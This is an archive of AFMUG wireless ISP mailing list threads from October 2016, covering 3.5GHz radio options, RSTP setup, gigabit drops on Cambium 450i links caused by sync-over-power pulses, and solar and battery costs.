date:20161003

I believe Telrad did something to break interoperability "recently". 




- 
Mike Hammett 
Intelligent Computing Solutions 

Midwest Internet Exchange 

The Brothers WISP 




- Original Message -

From: "Stefan Englhardt"  
To: af@afmug.com 
Sent: Monday, October 3, 2016 10:00:38 AM 
Subject: Re: [AFMUG] where is 3,5GHz heading to ? 

Is Telrad and Baicells interoperable? Do cpes of both work with both BS? Or is 
the decision for one of them final? I see pricing of baicells listed by 
distributors so I guess they are cheaper than Telrad. 

 Ursprüngliche Nachricht  
Von: Adam Moffett  
Datum: 03.10.2016 15:42 (GMT+01:00) 
An: af@afmug.com 
Betreff: Re: [AFMUG] where is 3,5GHz heading to ? 


We're wrestling with the same question here. 

M365 is inconsistent. 

We're testing Telrad LTE. It's too soon to say much though. 


-- Original Message -- 
From: "Stefan Englhardt" < s...@genias.net > 
To: "af@afmug.com" < af@afmug.com > 
Sent: 10/3/2016 6:37:56 AM 
Subject: [AFMUG] where is 3,5GHz heading to ? 





At the moment there are the following options: 

TDD LTE (Baicells / Telrad / Huawei) 

PMP450 (Cambium) 

WiMAX (Cambium/Purewave/Telrad) 

UBNT M365 (Ubiquity) 

WiMAX and UBNT do not have any development/future. TDD-LTE claims good NLOS 
capabilities. PMP450 claims higher sector capacity with LOS (QAM256). LTE 
claims Standards compatibility while there are not much options to select 
between. Baicell seem to bring LTE costs down to the Level of PMP450 while both 
are way above the level of wifi-based 5GHz systems. Baicell is in a 
testing/beta stage phase. PMP450 may increase performance/NLOS capability with 
cnMedusa next year. Not seen any announcements where TDD-LTE implementations 
are heading to next year. 

We’re still running WiMAX for NLOS as there is no clear path where to go

Re: [AFMUG] [OT] Decorative Grounding

It's like if cargo cultists decided to take up electrical engineering.
It's a grounding rod embedded in soil, what can possibly be wrong? Look,
obviously it's well grounded, you can even tell there's a good amount of
soil because of the plant that's growing in it!

https://en.wikipedia.org/wiki/Cargo_cult

On Mon, Oct 3, 2016 at 7:04 PM, Carl Peterson 
wrote:

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Re: [AFMUG] [OT] Decorative Grounding

2016-10-03 Thread Jaime Solorza

Ha

On Oct 3, 2016 8:04 PM, "Carl Peterson"  wrote:

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Re: [AFMUG] Ceragon IP20C RSTP

2016-10-03 Thread Jason McKemie

I defined link costs on the mikrotik bridge ports. I can't remember exactly
what the setup on the Ceragon is like. Will it pass data without a root
bridge being defined? The link appeared to be working otherwise.

On Monday, October 3, 2016, Josh Reynolds  wrote:

> Edit: or defined link costs?
>
> On Oct 3, 2016 5:52 PM, "Josh Reynolds"  > wrote:
>
>> Have you defined a root bridge?
>>
>> On Oct 3, 2016 3:12 PM, "Jason McKemie" > >
>> wrote:
>>
>>> Is there any special config necessary to get this working? The interface
>>> shows that it is sending but not receiving. The backup link, which is
>>> Ubiquiti, shows both sending and receiving rstp info, and thus is taking
>>> the active role.
>>
>>

Re: [AFMUG] msn.com problems?

I’m on AT here, looks like it may be an AT cache or DNS problem.  Several 
sites are giving me problems, but they work OK if I RDP into my own network and 
do it from there.

 

 

From: Af [mailto:af-boun...@afmug.com] On Behalf Of Paul Stewart
Sent: Monday, October 3, 2016 7:18 PM
To: af@afmug.com
Subject: Re: [AFMUG] msn.com problems?

 

No issues here…. could be geographic … 

 

On Oct 3, 2016, at 8:07 PM, Ken Hohhof  > wrote:

 

Anybody else seeing problems with   www.msn.com or the 
Edge (Spartan) browser newsfeed?

Re: [AFMUG] msn.com problems?

2016-10-03 Thread Paul Stewart

No issues here…. could be geographic … 

> On Oct 3, 2016, at 8:07 PM, Ken Hohhof  wrote:
> 
> Anybody else seeing problems with www.msn.com  or the 
> Edge (Spartan) browser newsfeed?
>

Re: [AFMUG] msn.com problems?

Not here.

On Oct 3, 2016 7:07 PM, "Ken Hohhof"  wrote:

> Anybody else seeing problems with www.msn.com or the Edge (Spartan)
> browser newsfeed?
>

[AFMUG] msn.com problems?

Anybody else seeing problems with www.msn.com   or the
Edge (Spartan) browser newsfeed?

Re: [AFMUG] 450i Problems maintaining gigabit.

2016-10-03 Thread George Skorup

Just FYI, the stuff Chuck sent me was tested at an FM site. I believe 
they're putting ~2500 watts into a 2" transmission line with 2 or 3 bays 
at 350 feet. Might be 4 bays, I don't remember. We're at 200 feet with 
our 450 cluster. I don't get any errors with the GigE-APCs in-line 
(100Mbps w/ sync, or gigabit w/o sync), nor with them removed (gigabit + 
sync). Then with the prototypes he sent me, I was able to do gigabit + 
sync enabled with no errors, which is what we all want.


Around 125 feet I've got an AF24 and an Exalt G2-11 fed with 
GigE-POE-APCs. Those have no issues with GigE. Not a single CRC error 
since I converted the site to DC. I did see a few CRC errors on the POE 
bricks that were there before. And those had *no* surge suppressors in line.


So I've got full confidence in Chuck's next revision of the GigE-APC. 
Now I'm wondering if these will help at a 50kw FM site where we have 
ethernet issues from time to time. Not even related to sync over power. 
They're putting 17kW into a 4" transmission line with 6 or 8 bays at 500 
feet. Our 450 cluster is at 230 feet. But it's only on a 10/100 
SyncInjector. Three Exalt G2-11's at 110, 120 and 130 feet. Every link 
sees a handful of CRC errors every day. It actually gets worse if I 
remove the GigE-APCs. Sometimes the Exalts will fall back to 100Mbps, 
but I think that has more to do with the flaky PHY on those radios. One 
thing we've figured out is that they get a little stupid if the rj45's 
aren't terminated or seated perfectly in the ODU.


On 10/3/2016 5:30 PM, Colin Stanners wrote:


I think sync over power and gigabit should not be used together.

Sync over power, while a bit hacky, is fine when the power lines do 
nothing else, but trying to couple pulsating voltage with low-voltage 
really-high-speed data in an RF/EMI- prone environment like on towers 
just seems like a recipe for headaches.


On Oct 3, 2016 4:06 PM, "Chuck McCown" > wrote:


I have tried to avoid publically singling out a manufacturer, but
a certain manufacturer we all love does have something goofy with
the sync over power. It has some nasty risetime glitches and
overshoots that cause many surge suppressors to conduct -thus
causing data glitches and the drop from Gig to 100 Mbps.  It is
proportional to cable lengths I believe but I have not proven that.
It is also something relatively new.  Perhaps because Gig
interfaces on their radios are relatively new.
So, I just made the surge suppressor eat the overshoot.  Belt,
suspenders, now flack jacket. Triple protection.  It really made
the whole design that much better.
I have added the spike eater to all products going forward.  There
are not many in the pipeline yet, and you really don’t need it
unless you want to use that particular sync over power product...
*From:* George Skorup
*Sent:* Monday, October 03, 2016 2:00 PM
*To:* af@afmug.com
*Subject:* Re: [AFMUG] 450i Problems maintaining gigabit.
It happens on the regular 450 AP too. 1000Base-T does not work at
all with GigE-APC-HV's in line. It is 100% the sync pulse causing
the SS to clamp.

I won't speak for Chuck, but he sent me some stuff to test and it
works. This was a yet unused 5GHz 450 AP at a site with ~220 feet
of Shireen DC-1021. No SS on top. GigE PowerInjector+Sync fed with
regulated 24v.

I have GigE-APCs on tons of POE and non-POE gigabit links *without
a sync pulse* and they work perfectly fine. It would not surprise
me if other brands of suppressors are doing the same thing because
of the sync pulse. Maybe it takes the right conditions like
temperature, power draw, etc. It's just immediately obvious with
the GigE-APCs because they are moar betterer.

On 10/3/2016 12:45 PM, Forrest Christian (List Account) wrote:

We have very recently started getting a whole bunch of support
queries which are from customers maintaining a gigabit link on a
450i. The link seems to come up at gig, then some time later
drops back to 100Mb/s.
So far, we haven't nailed down a cause. Some seem to be related
to the sync pulse, others are completely unaffected by this. 
Some seem to be related to the addition of a surge suppressor to

the link (even a good quality one), some not.  I'm even aware of
quite a few cases where replacement of our gear with a stock
cambium injector doesn't fix the problem - so I'm pretty
comfortable in feeling that something other than our power
injection equipment is the root cause.
The commonality of most of these are longer cable runs.  All of
the normal things have been tried (swapping cables, reterminating
ends, validating cables, etc.).   I also suspect that these are
newer 450i's.  (I'm not sure if we've seen this on a 450 or not).
So, what I'm hoping for from the list is to determine if this

Re: [AFMUG] Ceragon IP20C RSTP

Edit: or defined link costs?

On Oct 3, 2016 5:52 PM, "Josh Reynolds"  wrote:

> Have you defined a root bridge?
>
> On Oct 3, 2016 3:12 PM, "Jason McKemie" 
> wrote:
>
>> Is there any special config necessary to get this working? The interface
>> shows that it is sending but not receiving. The backup link, which is
>> Ubiquiti, shows both sending and receiving rstp info, and thus is taking
>> the active role.
>
>

Re: [AFMUG] Ceragon IP20C RSTP

Have you defined a root bridge?

On Oct 3, 2016 3:12 PM, "Jason McKemie" 
wrote:

> Is there any special config necessary to get this working? The interface
> shows that it is sending but not receiving. The backup link, which is
> Ubiquiti, shows both sending and receiving rstp info, and thus is taking
> the active role.

[AFMUG] Fiber ISP Insurance

2016-10-03 Thread Sterling Jacobson

Anyone doing fiber have insurance where they technically contract out 100 
percent of the fiber/conduit installation?

I seem to be having a really hard time in underwriting for anything because my 
LLC technically subcontracts most everything construction related.

Re: [AFMUG] 450i Problems maintaining gigabit.

2016-10-03 Thread Colin Stanners

I think sync over power and gigabit should not be used together.

Sync over power, while a bit hacky, is fine when the power lines do nothing
else, but trying to couple pulsating voltage with low-voltage
really-high-speed data in an RF/EMI- prone environment like on towers just
seems like a recipe for headaches.
On Oct 3, 2016 4:06 PM, "Chuck McCown"  wrote:

> I have tried to avoid publically singling out a manufacturer, but a
> certain manufacturer we all love does have something goofy with the sync
> over power.  It has some nasty risetime glitches and overshoots that cause
> many surge suppressors to conduct -thus causing data glitches and the drop
> from Gig to 100 Mbps.  It is proportional to cable lengths I believe but I
> have not proven that.
>
> It is also something relatively new.  Perhaps because Gig interfaces on
> their radios are relatively new.
>
> So, I just made the surge suppressor eat the overshoot.  Belt, suspenders,
> now flack jacket.  Triple protection.  It really made the whole design that
> much better.
>
> I have added the spike eater to all products going forward.  There are not
> many in the pipeline yet, and you really don’t need it unless you want to
> use that particular sync over power product...
>
>
>
> *From:* George Skorup
> *Sent:* Monday, October 03, 2016 2:00 PM
> *To:* af@afmug.com
> *Subject:* Re: [AFMUG] 450i Problems maintaining gigabit.
>
> It happens on the regular 450 AP too. 1000Base-T does not work at all with
> GigE-APC-HV's in line. It is 100% the sync pulse causing the SS to clamp.
>
> I won't speak for Chuck, but he sent me some stuff to test and it works.
> This was a yet unused 5GHz 450 AP at a site with ~220 feet of Shireen
> DC-1021. No SS on top. GigE PowerInjector+Sync fed with regulated 24v.
>
> I have GigE-APCs on tons of POE and non-POE gigabit links *without a sync
> pulse* and they work perfectly fine. It would not surprise me if other
> brands of suppressors are doing the same thing because of the sync pulse.
> Maybe it takes the right conditions like temperature, power draw, etc. It's
> just immediately obvious with the GigE-APCs because they are moar betterer.
>
> On 10/3/2016 12:45 PM, Forrest Christian (List Account) wrote:
>
> We have very recently started getting a whole bunch of support queries
> which are from customers maintaining a gigabit link on a 450i.   The link
> seems to come up at gig, then some time later drops back to 100Mb/s.
>
> So far, we haven't nailed down a cause.   Some seem to be related to the
> sync pulse, others are completely unaffected by this.  Some seem to be
> related to the addition of a surge suppressor to the link (even a good
> quality one), some not.  I'm even aware of quite a few cases where
> replacement of our gear with a stock cambium injector doesn't fix the
> problem - so I'm pretty comfortable in feeling that something other than
> our power injection equipment is the root cause.
>
> The commonality of most of these are longer cable runs.  All of the normal
> things have been tried (swapping cables, reterminating ends, validating
> cables, etc.).   I also suspect that these are newer 450i's.  (I'm not sure
> if we've seen this on a 450 or not).
>
> So, what I'm hoping for from the list is to determine if this problem is
> widespread, and if there seems to be any relation to how old the 450i is,
> or a firmware version update, or something else so I can help fix this for
> my customers.   Any information would be helpful.
>
> --
> *Forrest Christian* *CEO**, PacketFlux Technologies, Inc.*
> Tel: 406-449-3345 | Address: 3577 Countryside Road, Helena, MT 59602
> forre...@imach.com | http://www.packetflux.com
>   
>   
>
>
>

Re: [AFMUG] Solar costs dropping

That is a really good price for turnkey installed systems.  

From: SmarterBroadband 
Sent: Monday, October 03, 2016 4:10 PM
To: af@afmug.com 
Subject: Re: [AFMUG] Solar costs dropping

Has anyone used the UBNT solar setup?  Wondering how good that system is.

Complete system for $1.99 per Watt.  Is this an OK price for a system?

Thinking it is time to put a system here at the office.

Adam

From: Af [mailto:af-boun...@afmug.com] On Behalf Of Eric Kuhnke
Sent: Monday, October 03, 2016 2:49 PM
To: af@afmug.com
Subject: Re: [AFMUG] Solar costs dropping

Apologies, I didn't mean it has dropped to $0.20/watt, just a theoretical...  
Even if and when it does, for the raw cost of assembled panels, there's still a 
lot of other costs.

Here is a record low bid in $/kWh for grid-feeding massive scale solar 
(unsubsidized!) in a sunny desert:

https://www.bloomberg.com/news/articles/2016-05-03/solar-developers-undercut-coal-with-another-record-set-in-dubai

On Mon, Oct 3, 2016 at 2:46 PM, SmarterBroadband  
wrote:

Where?

From: Af [mailto:af-boun...@afmug.com] On Behalf Of Eric Kuhnke
Sent: Monday, October 03, 2016 12:06 PM
To: af@afmug.com
Subject: Re: [AFMUG] Solar costs dropping

PV can drop to $0.20/watt to buy bulk 300W polycrystalline PV panels, but the 
problem remains storage.

Storing many kWh in a reliable system that won't wear out after N cycles is the 
costly part. No matter what you do. Lead acid, aquion batteries, tesla 
powerwall type system, whatever.  

On Sat, Oct 1, 2016 at 10:35 AM, Rory Conaway  wrote:

https://electrek.co/2016/09/26/solar-power-cost-down-25-in-five-months-theres-no-reason-why-the-cost-of-solar-will-ever-increase-again/

And wait until Peroksvite starts selling….  

Thought you might like that Chuck.

Rory Conaway • Triad Wireless • CEO

4226 S. 37th Street • Phoenix • AZ 85040

602-426-0542

r...@triadwireless.net

www.triadwireless.net

“The other teams could make trouble for us if they win.” — Yogi Berra

Re: [AFMUG] 450i Problems maintaining gigabit.

It only does things to voltages that exceed the surge suppression limits.  
It is only clamping long surges (>1uS), but it is absorbing really fast spikey 
surges related to POE rather than allow all the diodes to conduct.  It is not 
modifying the waveform at all but rather dividing up the surges depending on 
speed and amplitude.  

From: Ken Hohhof 
Sent: Monday, October 03, 2016 4:06 PM
To: af@afmug.com 
Subject: Re: [AFMUG] 450i Problems maintaining gigabit.

Even if intended to make things better, I feel queasy about the idea of a surge 
protector purposely modifying the waveform.  Especially as a “running change” 
to an existing product.  It seems like the aim of a surge protector should be 
to affect the signal as little as possible while clamping surges.

At a minimum, I would ask that you mark the new version somehow so that we know 
what we’ve got.

From: Af [mailto:af-boun...@afmug.com] On Behalf Of Chuck McCown
Sent: Monday, October 3, 2016 4:07 PM
To: af@afmug.com
Subject: Re: [AFMUG] 450i Problems maintaining gigabit.

I have tried to avoid publically singling out a manufacturer, but a certain 
manufacturer we all love does have something goofy with the sync over power.  
It has some nasty risetime glitches and overshoots that cause many surge 
suppressors to conduct -thus causing data glitches and the drop from Gig to 100 
Mbps.  It is proportional to cable lengths I believe but I have not proven 
that.  

It is also something relatively new.  Perhaps because Gig interfaces on their 
radios are relatively new.  

So, I just made the surge suppressor eat the overshoot.  Belt, suspenders, now 
flack jacket.  Triple protection.  It really made the whole design that much 
better.  

I have added the spike eater to all products going forward.  There are not many 
in the pipeline yet, and you really don’t need it unless you want to use that 
particular sync over power product...

From: George Skorup 

Sent: Monday, October 03, 2016 2:00 PM

To: af@afmug.com 

Subject: Re: [AFMUG] 450i Problems maintaining gigabit.

It happens on the regular 450 AP too. 1000Base-T does not work at all with 
GigE-APC-HV's in line. It is 100% the sync pulse causing the SS to clamp.

I won't speak for Chuck, but he sent me some stuff to test and it works. This 
was a yet unused 5GHz 450 AP at a site with ~220 feet of Shireen DC-1021. No SS 
on top. GigE PowerInjector+Sync fed with regulated 24v.

I have GigE-APCs on tons of POE and non-POE gigabit links *without a sync 
pulse* and they work perfectly fine. It would not surprise me if other brands 
of suppressors are doing the same thing because of the sync pulse. Maybe it 
takes the right conditions like temperature, power draw, etc. It's just 
immediately obvious with the GigE-APCs because they are moar betterer.

On 10/3/2016 12:45 PM, Forrest Christian (List Account) wrote:

  We have very recently started getting a whole bunch of support queries which 
are from customers maintaining a gigabit link on a 450i.   The link seems to 
come up at gig, then some time later drops back to 100Mb/s. 

  So far, we haven't nailed down a cause.   Some seem to be related to the sync 
pulse, others are completely unaffected by this.  Some seem to be related to 
the addition of a surge suppressor to the link (even a good quality one), some 
not.  I'm even aware of quite a few cases where replacement of our gear with a 
stock cambium injector doesn't fix the problem - so I'm pretty comfortable in 
feeling that something other than our power injection equipment is the root 
cause.   

  The commonality of most of these are longer cable runs.  All of the normal 
things have been tried (swapping cables, reterminating ends, validating cables, 
etc.).   I also suspect that these are newer 450i's.  (I'm not sure if we've 
seen this on a 450 or not).

  So, what I'm hoping for from the list is to determine if this problem is 
widespread, and if there seems to be any relation to how old the 450i is, or a 
firmware version update, or something else so I can help fix this for my 
customers.   Any information would be helpful.

  -- 

Forrest Christian CEO, PacketFlux Technologies, Inc.

Tel: 406-449-3345 | Address: 3577 Countryside Road, Helena, MT 59602

forre...@imach.com | http://www.packetflux.com

Re: [AFMUG] Solar costs dropping

Has anyone used the UBNT solar setup?  Wondering how good that system is.

 

Complete system for $1.99 per Watt.  Is this an OK price for a system?

 

Thinking it is time to put a system here at the office.

 

Adam

 

From: Af [mailto:af-boun...@afmug.com] On Behalf Of Eric Kuhnke
Sent: Monday, October 03, 2016 2:49 PM
To: af@afmug.com
Subject: Re: [AFMUG] Solar costs dropping

 

Apologies, I didn't mean it has dropped to $0.20/watt, just a theoretical...  
Even if and when it does, for the raw cost of assembled panels, there's still a 
lot of other costs.

Here is a record low bid in $/kWh for grid-feeding massive scale solar 
(unsubsidized!) in a sunny desert:

https://www.bloomberg.com/news/articles/2016-05-03/solar-developers-undercut-coal-with-another-record-set-in-dubai

 

On Mon, Oct 3, 2016 at 2:46 PM, SmarterBroadband  
wrote:

Where?

 

From: Af [mailto:af-boun...@afmug.com] On Behalf Of Eric Kuhnke
Sent: Monday, October 03, 2016 12:06 PM
To: af@afmug.com
Subject: Re: [AFMUG] Solar costs dropping

 

PV can drop to $0.20/watt to buy bulk 300W polycrystalline PV panels, but the 
problem remains storage.

Storing many kWh in a reliable system that won't wear out after N cycles is the 
costly part. No matter what you do. Lead acid, aquion batteries, tesla 
powerwall type system, whatever.  

 

On Sat, Oct 1, 2016 at 10:35 AM, Rory Conaway  wrote:

https://electrek.co/2016/09/26/solar-power-cost-down-25-in-five-months-theres-no-reason-why-the-cost-of-solar-will-ever-increase-again/

 

And wait until Peroksvite starts selling….  

 

Thought you might like that Chuck.

 

Rory Conaway • Triad Wireless • CEO

4226 S. 37th Street • Phoenix • AZ 85040

602-426-0542

r...@triadwireless.net

www.triadwireless.net  

 

“The other teams could make trouble for us if they win.” — Yogi Berra

Re: [AFMUG] 450i Problems maintaining gigabit.

Even if intended to make things better, I feel queasy about the idea of a surge 
protector purposely modifying the waveform.  Especially as a “running change” 
to an existing product.  It seems like the aim of a surge protector should be 
to affect the signal as little as possible while clamping surges.

 

At a minimum, I would ask that you mark the new version somehow so that we know 
what we’ve got.

 

From: Af [mailto:af-boun...@afmug.com] On Behalf Of Chuck McCown
Sent: Monday, October 3, 2016 4:07 PM
To: af@afmug.com
Subject: Re: [AFMUG] 450i Problems maintaining gigabit.

 

I have tried to avoid publically singling out a manufacturer, but a certain 
manufacturer we all love does have something goofy with the sync over power.  
It has some nasty risetime glitches and overshoots that cause many surge 
suppressors to conduct -thus causing data glitches and the drop from Gig to 100 
Mbps.  It is proportional to cable lengths I believe but I have not proven 
that.  

 

It is also something relatively new.  Perhaps because Gig interfaces on their 
radios are relatively new.  

 

So, I just made the surge suppressor eat the overshoot.  Belt, suspenders, now 
flack jacket.  Triple protection.  It really made the whole design that much 
better.  

 

I have added the spike eater to all products going forward.  There are not many 
in the pipeline yet, and you really don’t need it unless you want to use that 
particular sync over power product...

 

 

 

From: George Skorup 

Sent: Monday, October 03, 2016 2:00 PM

To: af@afmug.com   

Subject: Re: [AFMUG] 450i Problems maintaining gigabit.

 

It happens on the regular 450 AP too. 1000Base-T does not work at all with 
GigE-APC-HV's in line. It is 100% the sync pulse causing the SS to clamp.

I won't speak for Chuck, but he sent me some stuff to test and it works. This 
was a yet unused 5GHz 450 AP at a site with ~220 feet of Shireen DC-1021. No SS 
on top. GigE PowerInjector+Sync fed with regulated 24v.

I have GigE-APCs on tons of POE and non-POE gigabit links *without a sync 
pulse* and they work perfectly fine. It would not surprise me if other brands 
of suppressors are doing the same thing because of the sync pulse. Maybe it 
takes the right conditions like temperature, power draw, etc. It's just 
immediately obvious with the GigE-APCs because they are moar betterer.

On 10/3/2016 12:45 PM, Forrest Christian (List Account) wrote:

We have very recently started getting a whole bunch of support queries which 
are from customers maintaining a gigabit link on a 450i.   The link seems to 
come up at gig, then some time later drops back to 100Mb/s. 

 

So far, we haven't nailed down a cause.   Some seem to be related to the sync 
pulse, others are completely unaffected by this.  Some seem to be related to 
the addition of a surge suppressor to the link (even a good quality one), some 
not.  I'm even aware of quite a few cases where replacement of our gear with a 
stock cambium injector doesn't fix the problem - so I'm pretty comfortable in 
feeling that something other than our power injection equipment is the root 
cause.   

 

The commonality of most of these are longer cable runs.  All of the normal 
things have been tried (swapping cables, reterminating ends, validating cables, 
etc.).   I also suspect that these are newer 450i's.  (I'm not sure if we've 
seen this on a 450 or not).

 

So, what I'm hoping for from the list is to determine if this problem is 
widespread, and if there seems to be any relation to how old the 450i is, or a 
firmware version update, or something else so I can help fix this for my 
customers.   Any information would be helpful.

 

-- 


Forrest Christian CEO, PacketFlux Technologies, Inc.

Tel: 406-449-3345 | Address: 3577 Countryside Road, Helena, MT 59602

forre...@imach.com   |   
http://www.packetflux.com

Re: [AFMUG] Solar costs dropping

You can find it for 47 cents now and then.  

From: Eric Kuhnke 
Sent: Monday, October 03, 2016 3:48 PM
To: af@afmug.com 
Subject: Re: [AFMUG] Solar costs dropping

Apologies, I didn't mean it has dropped to $0.20/watt, just a theoretical...  
Even if and when it does, for the raw cost of assembled panels, there's still a 
lot of other costs.

Here is a record low bid in $/kWh for grid-feeding massive scale solar 
(unsubsidized!) in a sunny desert:

https://www.bloomberg.com/news/articles/2016-05-03/solar-developers-undercut-coal-with-another-record-set-in-dubai

On Mon, Oct 3, 2016 at 2:46 PM, SmarterBroadband  
wrote:

  Where?

  From: Af [mailto:af-boun...@afmug.com] On Behalf Of Eric Kuhnke
  Sent: Monday, October 03, 2016 12:06 PM
  To: af@afmug.com
  Subject: Re: [AFMUG] Solar costs dropping

  PV can drop to $0.20/watt to buy bulk 300W polycrystalline PV panels, but the 
problem remains storage.

  Storing many kWh in a reliable system that won't wear out after N cycles is 
the costly part. No matter what you do. Lead acid, aquion batteries, tesla 
powerwall type system, whatever.  

  On Sat, Oct 1, 2016 at 10:35 AM, Rory Conaway  wrote:

https://electrek.co/2016/09/26/solar-power-cost-down-25-in-five-months-theres-no-reason-why-the-cost-of-solar-will-ever-increase-again/

  And wait until Peroksvite starts selling….  

  Thought you might like that Chuck.

  Rory Conaway • Triad Wireless • CEO

  4226 S. 37th Street • Phoenix • AZ 85040

  602-426-0542

  r...@triadwireless.net

  www.triadwireless.net

  “The other teams could make trouble for us if they win.” — Yogi Berra

Re: [AFMUG] Solar costs dropping

Apologies, I didn't mean it *has* dropped to $0.20/watt, just a
theoretical...  Even if and when it does, for the raw cost of assembled
panels, there's still a lot of other costs.

Here is a record low bid in $/kWh for grid-feeding massive scale solar
(unsubsidized!) in a sunny desert:

https://www.bloomberg.com/news/articles/2016-05-03/solar-developers-undercut-coal-with-another-record-set-in-dubai


On Mon, Oct 3, 2016 at 2:46 PM, SmarterBroadband  wrote:

> Where?
>
>
>
> *From:* Af [mailto:af-boun...@afmug.com] *On Behalf Of *Eric Kuhnke
> *Sent:* Monday, October 03, 2016 12:06 PM
> *To:* af@afmug.com
> *Subject:* Re: [AFMUG] Solar costs dropping
>
>
>
> PV can drop to $0.20/watt to buy bulk 300W polycrystalline PV panels, but
> the problem remains *storage*.
>
> Storing many kWh in a reliable system that won't wear out after N cycles
> is the costly part. No matter what you do. Lead acid, aquion batteries,
> tesla powerwall type system, whatever.
>
>
>
> On Sat, Oct 1, 2016 at 10:35 AM, Rory Conaway 
> wrote:
>
> https://electrek.co/2016/09/26/solar-power-cost-down-25-
> in-five-months-theres-no-reason-why-the-cost-of-solar-
> will-ever-increase-again/
>
>
>
> And wait until Peroksvite starts selling….
>
>
>
> Thought you might like that Chuck.
>
>
>
> *Rory Conaway **• Triad Wireless •** CEO*
>
> *4226 S. 37th Street • Phoenix • AZ 85040*
>
> *602-426-0542*
>
> *r...@triadwireless.net *
>
> *www.triadwireless.net *
>
>
>
> “The other teams could make trouble for us if they win.” — Yogi Berra
>
>
>
>
>

Re: [AFMUG] Solar costs dropping

Where?

From: Af [mailto:af-boun...@afmug.com] On Behalf Of Eric Kuhnke
Sent: Monday, October 03, 2016 12:06 PM
To: af@afmug.com
Subject: Re: [AFMUG] Solar costs dropping

PV can drop to $0.20/watt to buy bulk 300W polycrystalline PV panels, but the 
problem remains storage.

Storing many kWh in a reliable system that won't wear out after N cycles is the 
costly part. No matter what you do. Lead acid, aquion batteries, tesla 
powerwall type system, whatever.  

On Sat, Oct 1, 2016 at 10:35 AM, Rory Conaway  wrote:

https://electrek.co/2016/09/26/solar-power-cost-down-25-in-five-months-theres-no-reason-why-the-cost-of-solar-will-ever-increase-again/

And wait until Peroksvite starts selling….  

Thought you might like that Chuck.

Rory Conaway • Triad Wireless • CEO

4226 S. 37th Street • Phoenix • AZ 85040

602-426-0542

r...@triadwireless.net

www.triadwireless.net  

“The other teams could make trouble for us if they win.” — Yogi Berra

Re: [AFMUG] Solar costs dropping

My need for batteries are for UPS use.  

Hopefully only used a couple of times a year.

At this price I could add more and try to never go past 50% discharge.

 

 

From: Af [mailto:af-boun...@afmug.com] On Behalf Of Eric Kuhnke
Sent: Monday, October 03, 2016 12:27 PM
To: af@afmug.com
Subject: Re: [AFMUG] Solar costs dropping

 

I'm extremely suspicious of anything that advertises cranking amps, no matter 
what kind of lead acid battery it is or how cheap the price is...  It's not 
designed for cyclic use, so unless you only cycle to 70% or less DOD (depth of 
discharge) you will kill that type of battery in less than one year. 

Any lead acid wet cell or AGM designed for off grid or cyclic use will have a 
manufacturer's datasheet rating its Ah storage capacity at 1 hour/2 hour/8 
hour/20 hour discharge rates.

Re: the Aquion batteries mentioned above, they're much more expensive and are 
HUGE, but they supposedly will have 80% of their storage capacity and life 
remaining after 4000 cycles to 50% depth of discharge.  It's the cycle life 
that separates them from even the best very expensive SLA AGM batteries.

 

On Mon, Oct 3, 2016 at 12:20 PM, Robert Andrews  wrote:

Sorry now $87...

https://www.walmart.com/ip/EverStart-Group-Size-29DC-Marine-Battery/20531543

We have gone to 6V cart batteries for our serious off grid stuff with better 
cycling results, but these are what we use for on-grid reserve.

The 6V's we buy are 135 AH and we get fewer cells going bad over 2-3 years...   
When you have 100 cells at a site, you are going to have failures... (1.2V 
cells)...   Found it was cheaper replacing 3 cell batteries than 6 cell 
batteries...




On 10/03/2016 12:09 PM, SmarterBroadband wrote:

120AH for $83?
What model is that?

-Original Message-
From: Af [mailto:af-boun...@afmug.com] On Behalf Of Robert Andrews
Sent: Saturday, October 01, 2016 1:12 PM
To: af@afmug.com
Subject: Re: [AFMUG] Solar costs dropping

I read that as a 83 AH battery for 1.1K whereas a 120 AH deep cycle from
Walmart is $83...   For that price diff you can literally throw away
batteries each year...

On 10/01/2016 11:42 AM, Lewis Bergman wrote:

That seems expensive for the AH. They sound like they recover better
from deep discharge. The last time I bought 75AH batteries they were
~$200 each.  so for somewhere less than half the money you get close
to the same AH and they added bonus of destroying the planet.

On Sat, Oct 1, 2016 at 12:57 PM Kurt Fankhauser
> wrote:

 I've been seriously looking at solar for off grid, biggest problem
 was the batteries but then I found these salt water batteries that
 seem to be the solution to all the problems associated with battery
 systems, they have a 24v version for a 2.2Kwh cell that I was going
 to wire up to an APC-XL ups and see what happened


https://www.altestore.com/store/deep-cycle-batteries/saltwater-batteri
es/aquion-energy-saltwater-batteries-p40483/?gclid=CjwKEAjwvb2_BRCb_s7
Yo7_ZlHASJABz6L0jfIx1iUFerslueuwJHCmFBqRfykUmLVgmbE3Ho39nZRoCgpXw_wcB#
AQU24S-83



 On Sat, Oct 1, 2016 at 1:35 PM, Rory Conaway > wrote:


https://electrek.co/2016/09/26/solar-power-cost-down-25-in-five-months
-theres-no-reason-why-the-cost-of-solar-will-ever-increase-again/

 __ __

 And wait until Peroksvite starts selling…. 

 __ __

 Thought you might like that Chuck.

 __ __

 *Rory Conaway **• Triad Wireless •**CEO*

 *4226 S. 37^th Street • Phoenix • AZ 85040*

 *602-426-0542 *

 *r...@triadwireless.net *

 *www.triadwireless.net *

 *__ __*

 “The other teams could make trouble for us if they win.” — Yogi
 Berra

 __ __

Re: [AFMUG] Solar costs dropping

Sleep in your net zero home.  Consuming mains electricity via your grid tie.

If you truly need to be off grid, use propane appliances for everything.  You 
can get by with a small battery and array if you only need to run a computer 
and TV.   Propane lights are pretty efficient.  Sunfrost fridges are 
electrically very efficient and you can have them run on a UPS during the 
night.  Or a propane fridge.  

If you truly want to be off grid, focus on being off electricity first.  Then 
you can add the stuff that can only use electricity thus making your system 
much smaller.  I knew a guy that had a generator and he ran it to do laundry 
and pump water.  

From: David Kunat 
Sent: Monday, October 03, 2016 3:11 PM
To: af@afmug.com 
Subject: Re: [AFMUG] Solar costs dropping

And what do you do at night?

On Oct 3, 2016, at 12:52 PM, Chuck McCown  wrote:


  Don’t store it.  

  From: Eric Kuhnke 
  Sent: Monday, October 03, 2016 1:06 PM
  To: af@afmug.com 
  Subject: Re: [AFMUG] Solar costs dropping

  PV can drop to $0.20/watt to buy bulk 300W polycrystalline PV panels, but the 
problem remains storage.


  Storing many kWh in a reliable system that won't wear out after N cycles is 
the costly part. No matter what you do. Lead acid, aquion batteries, tesla 
powerwall type system, whatever.  



  On Sat, Oct 1, 2016 at 10:35 AM, Rory Conaway  wrote:


https://electrek.co/2016/09/26/solar-power-cost-down-25-in-five-months-theres-no-reason-why-the-cost-of-solar-will-ever-increase-again/



And wait until Peroksvite starts selling….  



Thought you might like that Chuck.



